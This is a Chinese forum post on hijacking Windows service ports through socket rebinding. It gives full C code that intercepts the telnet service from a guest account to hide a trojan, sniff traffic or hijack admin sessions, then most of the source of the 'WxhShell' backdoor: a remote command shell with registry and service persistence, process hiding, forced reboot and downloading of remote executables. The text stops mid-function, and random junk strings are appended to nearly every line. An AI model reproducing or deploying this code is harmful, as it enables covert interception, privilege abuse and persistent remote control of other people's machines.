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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z_p/.kQ'5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w(9.{zF|vQ  
eOQUy +  
  saddr.sin_family = AF_INET; kEE8cW3  
\}e1\MiZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dEp?jJP$;  
+)fl9>Mb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !:mo2zA  
` `A=p<W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rs R0V+(W  
!s]LWCX+|  
  这意味着什么?意味着可以进行如下的攻击: QMfa~TH#p  
j[h4F"`-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r^k:$wJbRK  
l*]*.?m/5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GiN\nu<!  
ccJ@jpXI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #U NTD4   
yjVPaEu]aU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <"@~  
Nd~?kZZu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Y` @>P'  
%jY /jp=R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n@xDFa  
!z;a>[T'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sgo({zA`i  
xh\{ dUPA  
  #include Y$ ;C@I  
  #include KFd"JtPg  
  #include h&Ehp   
  #include    Eq9TJt'3y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5eO`u8M  
  int main() >'@yq  
  { 3I?? K)Yl  
  WORD wVersionRequested; u><gmp&  
  DWORD ret; ,iU ]zN//  
  WSADATA wsaData;  # a 'h,  
  BOOL val; m[C-/f^u|  
  SOCKADDR_IN saddr; '@u/] ra:  
  SOCKADDR_IN scaddr; 9(Vq@.;Z`j  
  int err; pI |;  
  SOCKET s; ]}cai1  
  SOCKET sc; >yn%.Uoh@  
  int caddsize; d9[*&[2J|  
  HANDLE mt; 0!rU,74I=  
  DWORD tid;   H'$g!Pg  
  wVersionRequested = MAKEWORD( 2, 2 );  XGEAcN  
  err = WSAStartup( wVersionRequested, &wsaData ); K^k1]!W=  
  if ( err != 0 ) { s,Cm}4L6  
  printf("error!WSAStartup failed!\n"); SQ)$>3>C  
  return -1; \c+)Y}:D  
  } IBWUeB:b  
  saddr.sin_family = AF_INET; #{GUu ',?&  
   n< [np;\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %,GY&hTw  
=/" Of  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \CL |=8[2  
  saddr.sin_port = htons(23); >'/G:\M>A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k=O2s'F`  
  { )kl| 5i  
  printf("error!socket failed!\n"); Mu18s}  
  return -1; 3mgFouX2x,  
  } "';'*x  
  val = TRUE; z_eP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5,'?NEyw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1<^"OjQ  
  { /J8AnA1  
  printf("error!setsockopt failed!\n"); 0i9y-32-  
  return -1; jN V2o  
  } #JGy2Hk$^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W?G4\ubM3<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 abUn{X+f~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l'VgS:NT  
wYhWRgP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V{fYMgv  
  { BUv;BzyV  
  ret=GetLastError(); 3Qe:d_  
  printf("error!bind failed!\n"); >/EmC3?b!  
  return -1; 9tXLC|yl?  
  } *"0Yr`)S  
  listen(s,2); pK4I?=A'  
  while(1) m~#S76!w  
  { &~U8S^os  
  caddsize = sizeof(scaddr); BG"~yyKA  
  //接受连接请求 \w^iSK-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t-lWvxXe  
  if(sc!=INVALID_SOCKET) %WCA?W0:4  
  { Vf*!m~]Vqi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =R!=uml(  
  if(mt==NULL) +M (\R?@gr  
  { 7(eWBJfTo  
  printf("Thread Creat Failed!\n"); 6!/e_a  
  break; h/`OG>./  
  } Oe^3YOR#j{  
  } Vy{=Y(cpF2  
  CloseHandle(mt); SMk{159q&  
  } {.z2n>1J{T  
  closesocket(s); e6k}-<W*q  
  WSACleanup(); |t|+pBB  
  return 0; W{Ie(hf  
  }   8^$}!9B~JZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) D*`|MzlQ  
  { ;or(:Yoc-  
  SOCKET ss = (SOCKET)lpParam; ^M  PU?k  
  SOCKET sc; 1okL]VrI  
  unsigned char buf[4096]; abWmPi  
  SOCKADDR_IN saddr; N6$pOQ  
  long num; oGly|L>  
  DWORD val; |h*H;@$  
  DWORD ret; (}"r 5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]~87v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Us M|OH5k  
  saddr.sin_family = AF_INET; ME1lQ7E4B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "4H&wHhT!  
  saddr.sin_port = htons(23); "a-Ex ]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7s,IT8ii  
  { t'_Hp},  
  printf("error!socket failed!\n"); Dz]&|5'N  
  return -1; "}Ch2K  
  } [sTr#9Z  
  val = 100; #,qw~l]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WDSkk"#TF  
  { S,lJ&Rsu  
  ret = GetLastError(); 3otia ;&B  
  return -1; v@LK3S/!3  
  } >yg mE`g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y VUA7IY  
  { `z-4OJ8~  
  ret = GetLastError(); 7NMQUN7k '  
  return -1; 2K!3+D"  
  } 8Cs)_bj#!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q0.+F4  
  {  {IYfq)c  
  printf("error!socket connect failed!\n"); gf2l19aP  
  closesocket(sc); @YMef `T:  
  closesocket(ss); nu}$wLM  
  return -1; PNd]Xmv)  
  } CwTx7 ^qa  
  while(1) <O?iJ=$  
  { ZBcZG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m-dne/%_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @ _U]U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MJV)| 2C  
  num = recv(ss,buf,4096,0); e4yd n  
  if(num>0) .rD@Q{e50  
  send(sc,buf,num,0); 2+TCFpv  
  else if(num==0) *.r i8  
  break; 92WvD  
  num = recv(sc,buf,4096,0); :qc@S&v@]  
  if(num>0) XN5EZ#  
  send(ss,buf,num,0); ?&_ -,\t  
  else if(num==0) CK 3]]{  
  break; Ji :2P*  
  }  VD;Ot<%  
  closesocket(ss); [95(%&k.Q  
  closesocket(sc); PSI5$Vna4p  
  return 0 ; MmI4J$F  
  } rBkLwJ]  
pB&3JmgR$)  
Nlx7"_R"Q  
========================================================== JaXT B"e  
75r>~@)*  
下边附上一个代码,,WXhSHELL iP~5=  
LpGplD lB  
========================================================== #gMMh B=  
#Bg88!-4  
#include "stdafx.h" &v Lz{  
f/~"_O%  
#include <stdio.h> YxlV2hcX;  
#include <string.h> V'#dY~E-P  
#include <windows.h> _~&6Kb^*  
#include <winsock2.h> <M B]W`5  
#include <winsvc.h> 9s6@AJf  
#include <urlmon.h> II3)Cz}xRG  
:@rE&  
#pragma comment (lib, "Ws2_32.lib") BDNn~aU#m  
#pragma comment (lib, "urlmon.lib") #25Z,UU  
6B)(kPW  
#define MAX_USER   100 // 最大客户端连接数 =\B{)z7@6D  
#define BUF_SOCK   200 // sock buffer 9 #TzW9  
#define KEY_BUFF   255 // 输入 buffer D!h8NZ;El  
B&Q\J>l9S  
#define REBOOT     0   // 重启 `ky< *  
#define SHUTDOWN   1   // 关机 %2f``48#  
=SB#rCH  
#define DEF_PORT   5000 // 监听端口 7"2L|fG  
--d<s  
#define REG_LEN     16   // 注册表键长度 ;gY W!rM  
#define SVC_LEN     80   // NT服务名长度 =MEv{9_  
F^ 7qLvh  
// 从dll定义API K~H)XJFF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =<e|<EwSZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (wEaa'XL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L@HPU;<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l_hM,]T0  
Y;8Ys&/t  
// wxhshell配置信息 _7'9omq@  
struct WSCFG { {E-.W"t4  
  int ws_port;         // 监听端口 "XT7;!  
  char ws_passstr[REG_LEN]; // 口令 PUV)w\!&is  
  int ws_autoins;       // 安装标记, 1=yes 0=no uM h[Ht^.  
  char ws_regname[REG_LEN]; // 注册表键名 _T&?H&#  
  char ws_svcname[REG_LEN]; // 服务名 J0*hJ-/u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _G|hKk^,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K 4QJDC8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 [v=`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X^ckTIdR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |!E>I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dqnH7okZ  
"~(qp_AI  
}; z8_m<uewz  
/vll*}}  
// default Wxhshell configuration 1 0lvhzU  
struct WSCFG wscfg={DEF_PORT, DZ92;m  
    "xuhuanlingzhe", &)JQ6J_|\  
    1, 'DO^($N  
    "Wxhshell", _ui03veA1  
    "Wxhshell", A-^[4&rb  
            "WxhShell Service", Q1jU{  
    "Wrsky Windows CmdShell Service", N+ZDQa[  
    "Please Input Your Password: ", )uC],CbW{  
  1, T6h-E^Z  
  "http://www.wrsky.com/wxhshell.exe", ."&,_F  
  "Wxhshell.exe" {e\Pd!D?|  
    }; lPx4=O  
_*7h1[,{f  
// 消息定义模块 rl4B(NZi}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7zXFQ|TP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bO 2>ced  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GmP)"@O](;  
char *msg_ws_ext="\n\rExit."; :i_818h!?[  
char *msg_ws_end="\n\rQuit."; 1 rKKph  
char *msg_ws_boot="\n\rReboot..."; &E0L7?l  
char *msg_ws_poff="\n\rShutdown..."; 6E/>]3~!  
char *msg_ws_down="\n\rSave to "; wwrP7T+d  
Se<]g$eK?5  
char *msg_ws_err="\n\rErr!"; jWJq[l  
char *msg_ws_ok="\n\rOK!"; 5LdVcXf  
:,g nOfV=  
char ExeFile[MAX_PATH]; "X0"=1R~  
int nUser = 0; Oo |*q+{  
HANDLE handles[MAX_USER]; 'kb5pl~U  
int OsIsNt; mbB,j~;^6H  
T6m#sVq  
SERVICE_STATUS       serviceStatus; C~4_Vc*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1^XuH('  
' N^\9X0  
// 函数声明 d~F`q7F'?]  
int Install(void); ^`~M f  
int Uninstall(void); 2_M+akqy^  
int DownloadFile(char *sURL, SOCKET wsh); rqW[B/a{  
int Boot(int flag); T Po%zZo  
void HideProc(void); z%$ E6Im  
int GetOsVer(void); qX{"R.d  
int Wxhshell(SOCKET wsl); oNQ;9&Z,^2  
void TalkWithClient(void *cs); (XA=d 4  
int CmdShell(SOCKET sock); R,R[.2Vi  
int StartFromService(void); Cw42bO  
int StartWxhshell(LPSTR lpCmdLine); <6QG7 i  
uMVM-(g%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s3qWTdM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nfpkWyIu{  
JYuI~<:  
// 数据结构和表定义 E}AOtY5a  
SERVICE_TABLE_ENTRY DispatchTable[] = VeiJ1=hc  
{ J@D5C4>i  
{wscfg.ws_svcname, NTServiceMain}, #[0:5$-[  
{NULL, NULL} R)i  
}; y6NOHPp@  
S$J}>a#Ry  
// 自我安装 Xou1X$$z  
int Install(void) [p[nK=&r  
{ WeDeD\zy  
  char svExeFile[MAX_PATH]; h07Z.q ;  
  HKEY key; L1=3_fO  
  strcpy(svExeFile,ExeFile); K*iy^}  
,<?iL~> %  
// 如果是win9x系统,修改注册表设为自启动 CvfX m  
if(!OsIsNt) { zvjVM"=G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X8~dFjhX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *uHL'Pe;m  
  RegCloseKey(key); j_N><_Jc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =OfU#i"c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -YM#.lQ  
  RegCloseKey(key); 3 i<,#FaL  
  return 0; ?xEQ'(UBQ  
    } /~3~Xc ~=p  
  } !Ic;;<  
} 4;"^1 $  
else { (ii6w d< *  
x ,$N!X  
// 如果是NT以上系统,安装为系统服务 @(>XSTh9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gt#Jr!N~  
if (schSCManager!=0) #vrxhMo  
{ @P=St\;VP  
  SC_HANDLE schService = CreateService OS8 ^mC  
  ( +Qy*s1fit  
  schSCManager, 79 zFF  
  wscfg.ws_svcname, 0#(K}9T)  
  wscfg.ws_svcdisp, C yg e  
  SERVICE_ALL_ACCESS, #o Rm-yDr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )E;+C2G  
  SERVICE_AUTO_START, XMhDx  
  SERVICE_ERROR_NORMAL, Y[%1?CREP  
  svExeFile, 3TUW+#[Gu  
  NULL, ] jbQou@  
  NULL, [MSLVTR  
  NULL, 9$,x^Qx  
  NULL, bwh7.lDAl  
  NULL kN3T/96  
  ); mF!/8qk   
  if (schService!=0) [ZwZGAP  
  { Jf\lnJTyU8  
  CloseServiceHandle(schService); hZGoiWC  
  CloseServiceHandle(schSCManager); f[,9WkC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vZV+24YWb  
  strcat(svExeFile,wscfg.ws_svcname); lfjY45=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yXU-@~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y,qP$ 5xiq  
  RegCloseKey(key); bqug o  
  return 0; s2Gi4fY?  
    } Y.I-h l1<r  
  } zJ{?'kp  
  CloseServiceHandle(schSCManager); p- 5)J&  
} {\-rZb==F2  
} O%)@> 5#S  
RjS;Ck@;  
return 1; }~P%S(zB  
} fDc>E+,  
p7(Pymkd  
// 自我卸载 '\%c"?  
int Uninstall(void) OJd!g/V  
{ 6BIP;, M=  
  HKEY key; 9hAS#|vK  
mv@cGdxu  
if(!OsIsNt) { ?DcRD)X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xe^*\6Y  
  RegDeleteValue(key,wscfg.ws_regname); x_9<&Aj6  
  RegCloseKey(key); ( Lj{V}^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \)'nxFKqV  
  RegDeleteValue(key,wscfg.ws_regname); >cwyb9;!kK  
  RegCloseKey(key); Z09FW>"u  
  return 0; ;t47cUm6j  
  } jvx9b([<sG  
} | \Nj  
} /64jO?mp  
else { &tY3nr  
;/i"W   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u2HkAPhD  
if (schSCManager!=0) pAS!;t=n,  
{ 9 x WC<i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KDwz!:ye  
  if (schService!=0) htc& !m  
  { \RN,i]c-g/  
  if(DeleteService(schService)!=0) { -_=0PW5{  
  CloseServiceHandle(schService); MLg<YL  
  CloseServiceHandle(schSCManager); e;b,7Qw  
  return 0; L(!4e  
  } iO=xx|d  
  CloseServiceHandle(schService); fr'M)ox1  
  } UnNvlkjq9  
  CloseServiceHandle(schSCManager); )#-27Y  
} 4GJ1P2  
} 7L)1mB.  
tB.;T0n  
return 1; =jD[A>3I  
} ZK5(_qW&i  
3oX%tx  
// 从指定url下载文件 4X7y}F.J  
int DownloadFile(char *sURL, SOCKET wsh) 3nuf3)  
{ *D`qcv  
  HRESULT hr; Hv%(9)-8  
char seps[]= "/"; `NA[zH,w3  
char *token; D^Dm, -  
char *file; <'A>7M~h?*  
char myURL[MAX_PATH]; C%d 4ItB >  
char myFILE[MAX_PATH]; 7}bjJR "  
!- f>*|@  
strcpy(myURL,sURL); lJ]r %YlF  
  token=strtok(myURL,seps); !f_GR Pj'  
  while(token!=NULL) P# 2&?.d\  
  { 2=ZR}8}9Q:  
    file=token; bb;fV  
  token=strtok(NULL,seps); mY-Z$8r  
  } KtJE  
;ak3 @Uee  
GetCurrentDirectory(MAX_PATH,myFILE); xVoWGz7  
strcat(myFILE, "\\"); O$x-&pW`g  
strcat(myFILE, file); Cw?AP6f%  
  send(wsh,myFILE,strlen(myFILE),0); xrx{8pf  
send(wsh,"...",3,0); 1!/+~J[#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KsYT3  
  if(hr==S_OK) A/N*Nc  
return 0; zO{$kT\r&  
else )6)|PzMQ'  
return 1; j)\&#g0u6  
7'FDI`e[  
} THH rGvb  
3(P^PP8  
// 系统电源模块 475yX-A  
int Boot(int flag) vy/U""w`  
{ kF'^!Hp  
  HANDLE hToken; #1Mk9sxo  
  TOKEN_PRIVILEGES tkp; EZ #UdK_  
*lv)9L+0  
  if(OsIsNt) { @RotJl/>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O;[PEV ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BEvSX|M>x  
    tkp.PrivilegeCount = 1; )DMu`cD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )ufHk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q?z6|]M|u  
if(flag==REBOOT) { W9 y8dw.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YN] w_=  
  return 0; ]SrKe-*:U  
} [e)81yZG>  
else { 80$P35Q"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Oc :x  
  return 0; yP0P-8  
} iM2 EEC  
  } fEs957$  
  else { `'Ta=kd3  
if(flag==REBOOT) { ;t%L (J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L:YsAv  
  return 0; 1 hZM))  
} y:4Sw#M%(  
else { ;0E"4(S.q1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fLI@;*hL0  
  return 0; ;KQ'/nII  
} qU8UKIP  
} VR?7{3  
<6<uO\B\  
return 1; {%D "0*^  
} jbIWdHZ/US  
Z.6`O1OY}?  
// win9x进程隐藏模块 wdBytH6r.  
void HideProc(void) |U nTd$m  
{ ?f']*pD8  
\!ESmxSa;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y NV$IN%  
  if ( hKernel != NULL ) UQ|0Aqwq  
  { PL~k `L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >&^w\"'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Tuy]]k  
    FreeLibrary(hKernel); NJqALm!(  
  } (m;P,*  
!qrF=a  
return; d\;M F  
} dMGu9k~u  
3\=8tg p  
// 获取操作系统版本 ZfT%EPoZ:  
int GetOsVer(void) u MzefRN  
{ nWFp$tJ/R  
  OSVERSIONINFO winfo; mMN oR]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lNsPwyCoj  
  GetVersionEx(&winfo); EfDo%H^!j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0O-p(L=  
  return 1; -D:J$d 6R<  
  else W}L =JJo},  
  return 0; 6./&l9{h+  
} EVO5+  
s^C*uP;R  
// 客户端句柄模块 `m2F.^qrr  
int Wxhshell(SOCKET wsl) D{N1.rSxv  
{  pMt]wyKr  
  SOCKET wsh; ([f6\Pw\ <  
  struct sockaddr_in client; x?CjRvT $  
  DWORD myID; uzp !Y&C  
Va=0R   
  while(nUser<MAX_USER) AN: ,t(w  
{ f~Kln^  
  int nSize=sizeof(client); ! FHNKh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q<c).4  
  if(wsh==INVALID_SOCKET) return 1; [&NF0c[i  
R$6Y\ *L[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }QJE9;<e  
if(handles[nUser]==0) Slv}6at5  
  closesocket(wsh); ~fCD#D2KU  
else Fg#*rzA  
  nUser++; 0RoI`>j'  
  } 8w2+t>?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?9?0M A<[i  
; UrwK  
  return 0; D VSYH{U4  
} S NK+U"Q  
AZl=w`;/O%  
// 关闭 socket xmiF!R  
void CloseIt(SOCKET wsh) R63"j\0  
{ Y}1|/6eJ  
closesocket(wsh); &OI=r vDmo  
nUser--; ][G<CO`k  
ExitThread(0); _"WQi}Mm  
} `n^jU92  
qk_ s"}sS  
// 客户端请求句柄 ~S-x-cZ  
void TalkWithClient(void *cs) ?WAlW,H>  
{ $%1[<}<  
Q8:u1$}  
  SOCKET wsh=(SOCKET)cs; PI?-gc?[  
  char pwd[SVC_LEN]; JC=Bxv  
  char cmd[KEY_BUFF]; 8: s3Q`O  
char chr[1]; Z]SCIU @+  
int i,j; )3)L  
mnil1*-c0  
  while (nUser < MAX_USER) { W;KHLHp-  
&q":o 'q  
if(wscfg.ws_passstr) { d+&V^qLJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m k -" U7;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "sg$[)I3n  
  //ZeroMemory(pwd,KEY_BUFF); i}wu+<Mk  
      i=0; hJd#Gc~*M  
  while(i<SVC_LEN) { :nwcO3~`  
PI{sO |  
  // 设置超时 }1 _gemlf  
  fd_set FdRead; Wb4sfP_  
  struct timeval TimeOut; d9Q%GG0]  
  FD_ZERO(&FdRead); 3[V|C=u0  
  FD_SET(wsh,&FdRead); 5lU`o  
  TimeOut.tv_sec=8; !/jx4 w~R  
  TimeOut.tv_usec=0; \!SC;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (9cIU2e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qbP[  9  
vxqMo9T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Szg<;._J  
  pwd=chr[0]; #Jm_~k  
  if(chr[0]==0xd || chr[0]==0xa) { k*-+@U"+  
  pwd=0; |fw+{f  
  break; {Or|] 0  
  } ,/d-o;W  
  i++; %< W1y  
    } " g_\W  
BV!Kiw  
  // 如果是非法用户,关闭 socket `E|IMUB~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cA/2,i  
} dUe"qH29s  
{Ua5bSbh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {X"X.`p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8"<!8Img  
D6ck1pxkx  
while(1) { x65e,'  
N`zHe*=[~  
  ZeroMemory(cmd,KEY_BUFF); g:2/!tujL  
@x=CMF15  
      // 自动支持客户端 telnet标准   "n8_Ag@r  
  j=0; k"sL.}$  
  while(j<KEY_BUFF) { nEGku]pCH{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +m+HC(Z  
  cmd[j]=chr[0]; 2XI%4  
  if(chr[0]==0xa || chr[0]==0xd) { SA/0Z=  
  cmd[j]=0; ,U2D &{@  
  break; \/$v@5  
  } F(XWnfUv  
  j++; ,U7hzBj8k  
    } `nizGg~1  
*uv\V@0  
  // 下载文件 CI  @I  
  if(strstr(cmd,"http://")) { x`lBG%Y[-v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p[/n[@<8=  
  if(DownloadFile(cmd,wsh)) XBr>K> (  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z?gJHN<  
  else Zv-6H*zM6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]3I_H+hU  
  } N9*$'  
  else { tP:xx2N_  
RV($G8U  
    switch(cmd[0]) { k[zf`x^  
  u#P7~9ZG-  
  // 帮助 'PO1{&M  
  case '?': { 4o=G) KO{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t6"4+:c!>  
    break; t*<c+Ixu  
  } 'rF TtT  
  // 安装 6 XG+YIG6w  
  case 'i': { )8k6GO8|  
    if(Install()) nut7b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kp&d9e{ Yc  
    else ?_^9e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X<?;-HrS;  
    break; 5$#<z1M.&  
    } ZHF@k'vm/9  
  // 卸载 T }8aj  
  case 'r': { P;y/`_jo  
    if(Uninstall()) xp &I~YPH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9rid98~d  
    else tou^p-)GQ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %!=YNm  
    break; u( o@_6  
    } cbteNA!>  
  // 显示 wxhshell 所在路径  o j^U  
  case 'p': { /J6CSk  
    char svExeFile[MAX_PATH]; -5qO}^i$a  
    strcpy(svExeFile,"\n\r"); {otvJ |'N  
      strcat(svExeFile,ExeFile); ~Ep&:c4:D  
        send(wsh,svExeFile,strlen(svExeFile),0); asJYGqdF  
    break; }.hBmhnZmI  
    } ;zOZu~Q|'  
  // 重启 Qz<-xe`o8]  
  case 'b': { Hc+<(g   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S2NsqHJr  
    if(Boot(REBOOT)) bHMlh^{`%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49#-\=<gt  
    else { iKK=A.g  
    closesocket(wsh); 3a5H<3w_  
    ExitThread(0); givK{Yt<B  
    } 4-"wFp  
    break; Mfz5:'  
